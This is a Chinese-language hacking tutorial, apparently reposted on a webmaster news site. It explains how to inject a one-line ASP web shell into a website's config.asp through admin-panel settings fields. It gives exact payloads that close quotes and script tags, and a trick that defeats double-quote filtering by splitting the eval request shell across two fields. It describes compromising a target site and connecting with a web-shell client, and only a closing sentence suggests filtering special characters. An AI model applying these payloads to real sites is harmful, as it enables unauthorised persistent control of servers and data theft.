| 一般而言，后臺(tái)插一句話，如果數(shù)據(jù)庫(kù)擴(kuò)展名是asp的話，那么插數(shù)據(jù)庫(kù)，但是如果有配置文件可以插的話，那肯定是插入配置文件了，但是插入配置文件有一個(gè)很大的風(fēng)險(xiǎn)，那就是一旦出錯(cuò)那么全盤皆輸，有可能不僅僅造成后臺(tái)無(wú)法登陸，甚至有可能是整個(gè)網(wǎng)站系統(tǒng)崩潰，所以插入配置文件，請(qǐng)慎之又慎。 話歸正題，如果想插入配置文件，一般是config.asp，那么首先需要了解這個(gè)文件的一般情況。 網(wǎng)站的配置一般是保存網(wǎng)站名，地址，email之類的，既然是字符，那么格式應(yīng)當(dāng)是 webname=“test website” 對(duì)于這樣的配置插入一句話的話，我們的機(jī)會(huì)就是替換test website，那么需要閉合2個(gè)"，同時(shí)要插入一句話，語(yǔ)句可以這樣 "%><%eval request("d"%><%s=" 那么在config.asp中就是 webname=“ "%><%eval request("d"%><%s=" ” 第一個(gè)"是閉合前面的配置文件中的"，%>就是閉合前一段腳本，之后插入一句話<%eval request("d"%>，現(xiàn)在要閉合原來(lái)的"和%> 所以加入<%s="，這里特別要注意“s=”，如果沒(méi)有這個(gè)等號(hào)的話，那么就會(huì)成<%" ",這樣必將出錯(cuò)。 好了，這是常規(guī)的辦法，現(xiàn)在我們回到開始那個(gè)問(wèn)題，按照前面的方法插入  插入后，我們?cè)冱c(diǎn)擊“網(wǎng)站設(shè)置” ，出現(xiàn)錯(cuò)誤  從這個(gè)錯(cuò)誤，我們可以得到2個(gè)信息。 第一，配置文件的路徑：http://www.target.com/zfbm/zfb/inc/config.asp 第二，網(wǎng)站名的變量為webname。 昨天由于很晚了，就沒(méi)繼續(xù)看，今天出差，晚上回來(lái)剛剛上Q，小刀刀就q我，說(shuō)拿下了，并說(shuō)這個(gè)后臺(tái)過(guò)濾了雙引號(hào)"，結(jié)合昨天的錯(cuò)誤一看果然是，由于我們閉合前面雙引號(hào)起"的那個(gè)雙引號(hào)收"被過(guò)濾成單引號(hào)'，所以就成了webname=" '，這樣的話那么這個(gè)雙引號(hào)沒(méi)有閉合，由于雙引號(hào)是vbscript的控制符，沒(méi)有閉合config.asp運(yùn)行必然出錯(cuò)。那么我們遇到這種雙引號(hào)被過(guò)濾了的情況改怎么辦呢。 由于插入一句話必須要用雙引號(hào)括起來(lái)，而輸入雙引號(hào)又被過(guò)濾，所以我們可以利用他們自身的雙引號(hào)來(lái)解決。 在配置文件中，我們還可以看到這樣一些設(shè)置  就是配置網(wǎng)站的公告數(shù) ，文章數(shù)等。可以假設(shè)一下，他必然是整數(shù)賦值，沒(méi)有雙引號(hào)包括 num=5 num是整數(shù)型，不然就成字符了num="5" 那么我們的一句話就可以這樣構(gòu)建，如圖  在公告數(shù)中我們插入5%><%eval request(webname)%><% 必須要有5，不然將會(huì)出錯(cuò)，在網(wǎng)站名中我們插入"open" 由于我們沒(méi)有輸入雙引號(hào)，不存在過(guò)濾，我們利用 配置文件本身的雙引號(hào)來(lái)達(dá)到目的。那么配置文件現(xiàn)在的內(nèi)容如下 <% .................... webname="open" num=5%><%eval request(webname)%><% webnum=7 ....... %> 我們的一句話就相應(yīng)為 eval request("open")，open為密碼。 用菜刀成功連接  從上可見，我們成功利用配置文件本身避開了一句話中雙引號(hào)被過(guò)濾的問(wèn)題。 那么在網(wǎng)頁(yè)設(shè)計(jì)方面，我們可以增加過(guò)濾<,%,>或者組合<%,%>這些特殊符號(hào)，禁止這些符號(hào)的輸入，那么將大大增加網(wǎng)頁(yè)安全。 |
免責(zé)聲明：本站部分文章和圖片均來(lái)自用戶投稿和網(wǎng)絡(luò)收集，旨在傳播知識(shí)，文章和圖片版權(quán)歸原作者及原出處所有，僅供學(xué)習(xí)與參考，請(qǐng)勿用于商業(yè)用途，如果損害了您的權(quán)利，請(qǐng)聯(lián)系我們及時(shí)修正或刪除。謝謝！
始終以前瞻性的眼光聚焦站長(zhǎng)、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域，為您提供最新最全的互聯(lián)網(wǎng)資訊，幫助站長(zhǎng)轉(zhuǎn)型升級(jí)，為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營(yíng)銷服務(wù)，與站長(zhǎng)一起進(jìn)步！讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)！
掃一掃，關(guān)注站長(zhǎng)網(wǎng)微信
大家都在看
